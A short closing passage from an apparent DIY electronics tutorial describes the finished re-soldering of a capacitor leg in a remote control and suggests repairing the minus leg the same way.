When you are finished, it has to look like this:

As you can see, the free soldering point is now completely soldered together with the leg of the capacitor (and no short ;)).

Continue with the minus leg when its broken, too. That’s it. Enjoy your repaired remote control.